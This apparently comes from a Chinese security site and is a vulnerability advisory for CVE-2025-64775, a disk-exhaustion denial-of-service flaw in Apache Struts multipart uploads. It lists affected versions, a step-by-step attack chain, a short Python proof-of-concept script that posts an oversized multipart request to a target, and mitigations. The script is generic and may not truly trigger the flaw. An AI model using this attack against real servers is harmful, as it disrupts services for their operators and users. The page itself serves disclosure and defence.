IPBUF安全漏洞报告
English
CVE-2025-64775 CVSS 7.5 高危

CVE-2025-64775 Apache Struts多部分请求文件泄漏导致拒绝服务

披露日期: 2025-12-01

漏洞信息

漏洞编号
CVE-2025-64775
漏洞类型
拒绝服务
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Apache Struts

相关标签

拒绝服务文件泄漏磁盘耗尽Apache StrutsCVE-2025-64775multipart请求高危漏洞

漏洞概述

CVE-2025-64775是Apache Struts中一个高危拒绝服务漏洞。该漏洞源于multipart请求处理过程中的文件泄漏问题,攻击者可以通过发送特制的多部分请求来触发此漏洞,导致服务器磁盘空间被耗尽。当Apache Struts处理包含大量文件上传的多部分表单请求时,如果请求处理逻辑存在缺陷,可能导致临时文件无法正确清理或重复创建,从而造成磁盘资源耗尽。这种资源耗尽攻击会使服务器无法处理正常用户请求,导致服务中断。由于该漏洞利用无需认证且利用复杂度较低,攻击者可以轻松地对目标服务器发起拒绝服务攻击。漏洞影响范围涵盖Apache Struts 2.0.0至6.7.0版本以及7.0.0至7.0.3版本,存在大量潜在受影响系统。

技术细节

该漏洞存在于Apache Struts的multipart请求解析模块中。当服务器接收并处理HTTP多部分表单数据时,Struts框架会创建临时文件来存储上传的数据。然而,由于文件处理逻辑中的缺陷,这些临时文件可能无法被正确删除或被重复创建。攻击者可以通过构造包含大量文件数据的多部分请求来触发此问题。在文件上传过程中,如果请求被部分处理后发生错误,或者存在竞态条件,临时文件可能保留在磁盘上。重复发送此类请求会导致临时文件不断累积,最终耗尽服务器的磁盘空间。一旦磁盘空间被占满,服务器将无法创建新的日志文件、临时文件或处理新的请求,导致服务完全中断。攻击者通常会使用自动化工具快速发送大量恶意请求,以加速磁盘耗尽过程。

攻击链分析

STEP 1
步骤1
攻击者识别运行Apache Struts 2.0.0-6.7.0或7.0.0-7.0.3版本的目标服务器
STEP 2
步骤2
构造包含大量数据的特制multipart/form-data请求,设置异常的文件上传参数
STEP 3
步骤3
持续发送恶意请求,利用文件泄漏缺陷在服务器磁盘上累积大量临时文件
STEP 4
步骤4
服务器磁盘空间逐渐被耗尽,无法处理新的合法请求
STEP 5
步骤5
服务完全中断,正常用户无法访问应用程序,造成拒绝服务效果

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2025-64775 PoC - Apache Struts File Leak DoS # This PoC demonstrates sending malformed multipart requests import requests import sys def exploit(target_url): """ Send malicious multipart requests to trigger file leak """ headers = { 'User-Agent': 'Mozilla/5.0 (compatible; CVE-2025-64775-PoC)', 'Content-Type': 'multipart/form-data; boundary=----WebKitFormBoundary' } # Craft malformed multipart data data = """------WebKitFormBoundary Content-Disposition: form-data; name="file"; filename="large_file.txt" Content-Type: text/plain """ + "A" * 100000 + "\r\n------WebKitFormBoundary--\r\n" print(f"[*] Sending malicious multipart request to {target_url}") try: response = requests.post( target_url, headers=headers, data=data, timeout=30 ) print(f"[+] Response status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_url>") sys.exit(1) exploit(sys.argv[1])

影响范围

Apache Struts 2.0.0 - 6.7.0
Apache Struts 7.0.0 - 7.0.3

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 在Web应用防火墙中限制multipart请求的文件大小和数量;2) 配置临时文件目录的磁盘空间限制和自动清理机制;3) 实施请求速率限制以防止短时间内大量恶意请求;4) 监控服务器磁盘使用情况并设置告警阈值;5) 考虑临时禁用文件上传功能直到完成补丁升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表